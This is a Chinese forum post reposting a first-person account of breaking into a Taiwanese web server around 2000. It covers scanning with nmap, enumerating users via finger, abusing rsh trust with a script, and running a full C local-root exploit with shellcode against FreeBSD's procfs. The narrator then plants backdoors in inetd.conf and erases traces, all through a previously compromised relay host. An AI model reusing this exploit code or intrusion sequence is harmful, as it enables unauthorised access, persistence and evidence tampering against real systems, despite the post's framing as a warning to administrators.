入侵過程by quack

顯示結果從第 1 筆 到 2 筆,共計 2 筆
  1. #1
    小笨蛋 winson 的大頭照
    註冊日期
    2000-10-27
    討論區文章
    954
    入侵過程
    --------


    本文的寫作目的僅僅是爲了給某些粗心大意的網路管理人員一個警告——internet是
    有趣但十分脆弱的,當你的電腦放在互聯網上給人們提供資訊與服務的同時,會引
    來網路中的“好奇者”的窺探。而安全性與便利性是一對矛盾……在你對自己的網路
    做了一個安全策略考量之後,你應該確定你願意以多大的風險來使用一些方便的服務,
    當然這些服務——比如rlogin,可能只會使你少輸入一次密碼……

    首先是確定目標——撞大運亂挑一個吧,試試能不能成功……呵,於是登上yahoo,上
    taiwan的站點小遛了一下……唔,這個還不錯,我們姑且稱其爲www.targe.com……還
    是先ping一下看看情勢如何——別碰上有牆的就遜了……

    C:\>ping http://www.targe.com

    Pinging http://www.targe.com [111.111.111.111] with 32 bytes of data:

    Reply from 111.111.111.111: bytes=32 time=621ms TTL=241
    Reply from 111.111.111.111: bytes=32 time=620ms TTL=241
    Reply from 111.111.111.111: bytes=32 time=611ms TTL=241
    Reply from 111.111.111.111: bytes=32 time=591ms TTL=241

    速度還是很快的嘛……那就開始吧……

    先登上某台跳板臺灣的機器——這樣安全一些,不會留下你自己的IP……(當然,說句
    題外話——這樣要追查到還不是很困難,曾經有個朋友同我說過,南方某大學一次被
    黑,種種迹象都表明黑客來自美國,IP、更改後主頁上留下的話語……朋友受託去補
    漏查源,發現那IP是美國一個提供免費shell的服務供應商……於是申請了一個shell,
    通過一系列動作成爲root,查看系統日誌——真相大白,IP居然指向那家大學自身)。

    通過跳板還有一個好處——如果你的嘗試失敗,在系統日誌堹d下來的是臺灣本土的
    IP,這樣的登陸失敗命令比較不會引起系統管理員的注意……

    C:\>nc ***.***.***.*** 12345

    就登上跳板了,12345埠塈盚w留了一個suid的shell……

    好了,祭起寶刀——nmap……

    # ./nmap -sT -O 111.111.111.111

    Starting nmap V. 2.3BETA12 by Fyodor ([email protected], http://www.insecure.org/nmap/)

    Interesting ports on http://www.targe.com (111.111.111.111):
    Port State Protocol Service
    7 open tcp echo
    9 open tcp discard
    19 open tcp chargen
    21 open tcp ftp
    23 open tcp telnet
    25 open tcp smtp
    37 open tcp time
    79 open tcp finger
    80 open tcp http
    111 open tcp sunrpc
    443 open tcp https
    512 open tcp exec
    513 open tcp login
    514 open tcp shell
    515 open tcp printer
    540 open tcp uucp
    3306 open tcp mysql

    TCP Sequence Prediction: Class=random positive increments
    Difficulty=55346 (Worthy challenge)
    No OS matches for host (If you know what OS is running on it
    …………
    …………
    Nmap run completed -- 1 IP address (1 host up) scanned in 17 seconds

    唔,運氣還不錯,提供的服務不少,估計漏也少不到哪兒去……只是沒判斷出系統
    類型,這些服務堿搕W去可以利用的有:

    Port State Protocol Service

    21 open tcp ftp
    25 open tcp smtp
    79 open tcp finger
    80 open tcp http
    111 open tcp sunrpc
    512 open tcp exec
    513 open tcp login
    514 open tcp shell
    540 open tcp uucp
    3306 open tcp mysql

    最近rpc攻擊非常流行,原因之一恐怕是方便易行——只要存在漏洞,遠端就可以
    得到一個rootshell……甚至對電腦完全不懂的外行也能輕易實施,呵,那咱們
    來看看這個111 port的sunrpc埵酗麽奧妙吧……

    # rpcinfo -p 111.111.111.111&
    21404
    # program vers proto port service
    100000 2 tcp 111 rpcbind
    100000 2 udp 111 rpcbind

    咦,看來沒戲唱哦……好在還有那麽多服務,待偶慢慢試來……
    看看是什麽FTP伺服器軟體吧,說不定有遠端溢出的漏洞呢

    # ./nc 111.111.111.111 21
    #

    乖乖龍的東,什麽輸出也沒有就關上了,這是如何一回事?

    C:\>ftp 111.111.111.111
    Connected to 111.111.111.111.
    Connection closed by remote host.

    呵呵,看來過濾掉了嘛……怎麽辦?看看25埠是運行什麽SMTP服務的吧……

    # ./nc 111.111.111.111 25
    220 ***-***-***-*** ESMTP Sendmail 8.9.3/8.9.3; Wed, 5 Apr 2000 08:56:59 GMT

    Sendmail 8.9.3/8.9.3?好象沒有什麽致命的漏洞呀……

    看看是什麽WEB伺服器先……

    # (echo "head /http/1.0";echo;echo)|./nc -w 3 111.111.111.111 80

    <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
    <HTML><HEAD>
    <TITLE>501 Method Not Implemented</TITLE>
    </HEAD><BODY>
    <H1>Method Not Implemented</H1>
    head to /http/1.0 not supported.<P>
    Invalid method in request head /http/1.0<P>
    <HR>
    <ADDRESS>Apache/1.3.9 Server at ***-***-***-*** Port 80</ADDRESS>
    </BODY></HTML>

    阿帕奇這個版本的東東至少偶的印象中沒有什麽“死穴”……

    好在開了finger,俺就土土地先把用戶列表弄出來吧……

    finger [email protected]

    [www.targe.com.tw]

    root
    aaa
    bbb
    ccc
    ddd

    總算有點收穫……,那麽下一步該做什麽呢?既然這台主機開了512、513、514的r
    系列服務,那就值得嘗試一下,說不定哪個偷懶的傢夥直接在.rhosts堻]了

    + username

    那我就爽了……

    順手寫了個shell script,讓它去一個一個地嘗試rsh命令,傳到肉雞上

    # chmod 700 rsh.sh
    # nohup ./rsh.sh http://www.targe.com

    它會自動地在/etc/passwd和/etc/shadow里加上finger出來的用戶名,然後su過去,
    再對遠端目標111.111.111.111執行rsh命令,成功則返回該用戶名……然後將備份的
    passwd和shadow再拷回去……刪除暫存檔案,生成報告文件……(或許是我對.rhosts
    的理解還有問題,有時我在機里加上+ +但rcp時還會報Permission denied或者connect
    refused,所以乾脆都su成用戶——或許太笨

    我便再去MUD媟礂琲漱j蝦了……半個小時後回來

    登上肉雞,讀取報告文件.rsh.txt

    # cat ./.rsh.txt
    ccc

    hehe,非常抱歉,看來俺得到一個shell了……

    進去看看……

    # rlogin -l ccc 111.111.111.111

    Last login: Fri Mar 24 19:04:50 from 202.102.2.147
    Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991, 1993, 1994
    The Regents of the University of California. All rights reserved.

    FreeBSD 3.2-RELEASE (GENERIC) #0: Tue May 18 04:05:08 GMT 1999

    You have mail.

    呵,原來是FreeBSD 3.2-RELEASE呀,感覺不錯,進來了,看看我的許可權如何吧……

    > id
    id
    uid=1003(ccc) gid=1003(ccc) groups=1003(ccc)

    看來能做的事還相當有限噢……再看看系統埵釣S有別人先……



  2. #2
    小笨蛋 winson 的大頭照
    註冊日期
    2000-10-27
    討論區文章
    954

    > w
    w
    9:03PM up 6 days, 2:37, 3 users, load averages: 0.00, 0.01, 0.00
    USER TTY FROM LOGIN@ IDLE WHAT
    ccc p0 **.**.***.*** 6:04PM 2:41 -tcsh (tcsh)

    不錯,就我自在逍遙……看看passwd吧……

    > cat /etc/passwd
    cat /etc/passwd
    root:*:0:0:Charlie &:/root:/usr/local/bin/bash
    aaa:*:1005:2000::/home/www:/usr/local/bin/tcsh
    bbb:*:1006:1006::/home/bbb:/usr/local/bin/tcsh
    ccc:*:1003:1003::/home/ccc:/usr/local/bin/tcsh
    ddd:*:1008:1008:ddd:/home/www:/usr/local/bin/tcsh
    eee:*:1009:1009:eee:/home/eee:/usr/local/bin/tcsh

    很明顯/home/www就是www用戶的主目錄了……先看看俺ccc對該目錄有沒有寫許可權

    > echo test >/home/www/test
    test: Permission denied.

    看來如果想改他的主頁,還得另外想辦法啦……不過都已經有了一個用戶shell了,最
    高許可權其實也只有一步之遙啦,好吧,翻翻資料庫埵酗麽關於FreeBSD 3.2的記錄,
    看來東西不多呀……而且有些還是安裝外來套裝軟體之後才帶來的風險……

    先看看有沒有編譯的許可權再說吧,否則還得找一台BSD來編譯……

    > ls /usr/local/bin|grep gcc
    gcc

    一般情況下自己安裝的gcc是會在這個目錄的啦,否則最好find一下比較保險。

    這下方便了……可以直接傳代碼上來試……
    試了幾個之後我找到這麽個東西:

    /* by Nergal */
    #include <errno.h>
    #include <signal.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <string.h>
    #include <signal.h>
    #include <sys/wait.h>

    char shellcode[] =
    "\xeb\x0a\x62\x79\x20\x4e\x65\x72\x67\x61\x6c\x20"
    "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
    "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
    "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
    "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04\x00";

    #define PASSWD "./passwd"
    void
    sg(int x)
    {
    }
    int
    main(int argc, char **argv)
    {
    unsigned int stack, shaddr;
    int pid,schild;
    int fd;
    char buff[40];
    unsigned int status;
    char *ptr;
    char name[4096];
    char sc[4096];
    char signature[] = "signature";

    signal(SIGUSR1, sg);
    if (symlink("usr/bin/passwd",PASSWD) && errno!=EEXIST)
    {
    perror("creating symlink:");
    exit(1);
    }
    shaddr=(unsigned int)&shaddr;
    stack=shaddr-2048;
    if (argc>1)
    shaddr+=atoi(argv[1]);
    if (argc>2)
    stack+=atoi(argv[2]);
    fprintf(stderr,"shellcode addr=0x%x stack=0x%x\n",shaddr,stack);
    fprintf(stderr,"Wait for \"Press return\" prompt:\n");
    memset(sc, 0x90, sizeof(sc));
    strncpy(sc+sizeof(sc)-strlen(shellcode)-1, shellcode,strlen(shellcode));
    strncpy(sc,"EGG=",4);
    memset(name,'x',sizeof(name));
    for (ptr = name; ptr < name + sizeof(name); ptr += 4)
    *(unsigned int *) ptr = shaddr;
    name[sizeof(name) - 1] = 0;

    pid = fork();
    switch (pid) {
    case -1:
    perror("fork");
    exit(1);
    case 0:
    pid = getppid();
    sprintf(buff, "/proc/%d/mem", pid);
    fd = open(buff, O_RDWR);
    if (fd < 0) {
    perror("open procmem");
    wait(NULL);
    exit(1);
    }
    /* wait for child to execute suid program */
    kill(pid, SIGUSR1);
    do {
    lseek(fd, (unsigned int) signature, SEEK_SET);
    } while
    (read(fd, buff, sizeof(signature)) == sizeof(signature) &&
    !strncmp(buff, signature, sizeof(signature)));
    lseek(fd, stack, SEEK_SET);
    switch (schild = fork()) {
    case -1:
    perror("fork2");
    exit(1);
    case 0:

    dup2(fd, 2);
    sleep(2);
    execl(PASSWD, name, "blahblah", 0);
    printf("execl failed\n");
    exit(1);
    default:
    waitpid(schild, &status, 0);
    }
    fprintf(stderr, "\nPress return.\n");
    exit(1);
    default:
    /* give parent time to open /proc/pid/mem */
    pause();
    putenv(sc);
    execl(PASSWD, "passwd", NULL);
    perror("execl");
    exit(0);

    }
    }

    偶說一下這個漏洞的由來吧:

    早在1997年在*BSD奡N發現了一個致命漏洞存在於procfs可以導致本地用戶奪取root
    許可權,*BSD核心中做了簡單的修補,但不幸的是,時至今日,我們仍然可以通過對
    /proc/pid/mem的操作奪取root許可權……當然,要利用這個程式拿ROOT,procfs文件系統
    必須是mounted的,在默認的FreeBSD3.3堿Omounted著的。我們先來看看這台機器上的
    情況如何,別白忙一場……

    # /sbin/mount
    /dev/wd0s1a on / (local, writes: sync 12 async 134)
    /dev/wd0s1h on /home (local, writes: sync 2 async 120)
    /dev/wd0s1f on /usr (local, writes: sync 2 async 93)
    /dev/wd0s1g on /usr/local (local, writes: sync 2 async 16)
    /dev/wd0s1e on /var (local, writes: sync 118 async 498)
    procfs on /proc (local)

    呵呵不錯,看到沒有那procfs on字樣?看來老天幫忙了……

    一個無特權的進程A自我調用子進程B,A打開/proc/pid-of-B/mem,B執行一個setuid的
    二進位程式,現在B與A的euid已經不同了,但A仍然通過/proc/pid-of-B/mem的描述符控
    制B進程,就可能做很多事了……

    In order to stop this exploit, an additional check was added to the code
    responsible for I/O on file descriptors referring to procfs pseudofiles. In
    miscfs/procfs/procfs.h (from FreeBSD 3.0) we read:
    /*
    * Check to see whether access to target process is allowed
    * Evaluates to 1 if access is allowed.
    */
    #define CHECKIO(p1, p2) \
    ((((p1)->p_cred->pc_ucred->cr_uid == (p2)->p_cred->p_ruid) && \
    ((p1)->p_cred->p_ruid == (p2)->p_cred->p_ruid) && \
    ((p1)->p_cred->p_svuid == (p2)->p_cred->p_ruid) && \
    ((p2)->p_flag & P_SUGID) == 0) || \
    (suser((p1)->p_cred->pc_ucred, &(p1)->p_acflag) == 0))
    As we see, process performing I/O (p1) must have the same uids as
    target process (p2), unless... p1 has root priviledges. So, if
    we can trick a setuid program X into writing to a file descriptor
    F referring to a procfs object, the above check will not prevent
    X from writing. As some of readers certainly already have guessed,
    F's number will be 2, stderr fileno... We can pass to a setuid
    program an appropriately lseeked file descriptor no 2 (pointing to
    some /proc/pid/mem), and this program will blindly write there
    error messages. Such output is often partially controllable (e.g.
    contains program's name), so we can write almost arbitrary data
    onto other setuid program's memory.

    This scenario looks similar to

    close(fileno(stderr)); execl("setuid-program",...)

    exploits, but in fact differs profoundly. It exploits the fact
    that the properties of a fd pointing into procfs is not
    determined fully by "open" syscall (all other fd are; skipping
    issues related to securelevels). These properties can change
    because of priviledged code execution. As a result, (priviledged)
    children of some process P can inherit a fd opened read-write,
    though P can't directly gain such fd via open syscall.

    懶得把它弄成中文的了……感興趣則看,不感興趣就跳過吧……

    好,那就把漏洞利用程式rcp過去吧

    >rcp root@***.***.***.**:/tmp/pcnfs.c /tmp/

    其中***.***.***.**是以前的一個倒楣蛋,/下被加了+ +的傢夥……

    編譯運行——可能得對程式做一些小小的更改……

    >gcc pcnfs.c -o p
    >./p -4000 -10000
    shellcode addr=0xbfbfcd4c stack=0xbfbfaddc
    Wait for "Press return" prompt:
    New password:
    Press return.


    id
    uid=1003(ccc) gid=1003(ccc) euid=0(root) groups=1003(ccc)

    wowowo!我是root啦……哈哈,也就是說,俺現在在這個系統堨i以爲所欲爲了……
    再試試對/home/www目錄有沒有寫許可權吧……

    echo test>/home/www/test.txt;ls /home/www|grep test
    test.txt

    呵,好了,大功告成……一般情況下做到這步後你原來修改主頁的欲望就會消散了,畢
    竟咱們不是以破壞系統爲樂的人,我們只是希望網路社會更加健康,所以——俺也沒改
    什麽東西,只是留了幾個後門就bye-bye了……咱們有太多的系統可供學習,只好在這些
    遠端機器上多學多看了——所以,留個後門還是必要的啦。

    當然擦腳印等等活還是要幹的,讓人發現系統曾經有人嘗試過入侵究竟不是一件好事。萬
    事OK後就可以走人了。

    這個root有重新啓動系統的壞習慣,三天後我再登上系統時,發現

    # id
    uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty),
    5(operator), 20(staff), 31(guest)

    呵,看來往/etc/inetd.conf里加的shell由root大人自己啓動了……至於這個系統,其實它
    有安裝防火牆軟體的,要不是其中有一個用戶偷懶,還是很難入侵成功的……希望這對國內
    的管理員也是一個警示吧,因爲國內的網路安全狀況實在還是不容樂觀……

    =================================================================================

    本文出自http://focus.silversand.net;如要轉載請注明出處。
    我水平較菜,請高手多指點,mailto:[email protected]


類似的主題

  1. 【影片】開車時也可以遊泳和潛水
    作者:luckyboys 所在討論版:-- 網路輕鬆版 [圖片 笑話 影片]
    回覆: 7
    最後發表: 2004-07-27, 09:55 AM
  2. 【笑話】原來傳訊也可以過招
    作者:ahom 所在討論版:-- 網路輕鬆版 [圖片 笑話 影片]
    回覆: 20
    最後發表: 2003-02-04, 08:57 AM
  3. 【求助】請測一下告知結果
    作者:taipeimagic 所在討論版:---- ADSL 抱 怨 與 鼓 勵
    回覆: 4
    最後發表: 2002-12-15, 04:13 PM
  4. 非法軟體 下周起全面掃蕩【閒聊】【新聞】
    作者:DAVID911 所在討論版:-- 閒 話 家 常 灌 水 版
    回覆: 2
    最後發表: 2002-03-18, 12:46 AM

 

此網頁沒有從搜尋引擎而來的訪客

發表文章規則

  • 不可以發表新主題
  • 不可以回覆文章
  • 不可以上傳附加檔案
  • 不可以編輯自己的文章
  •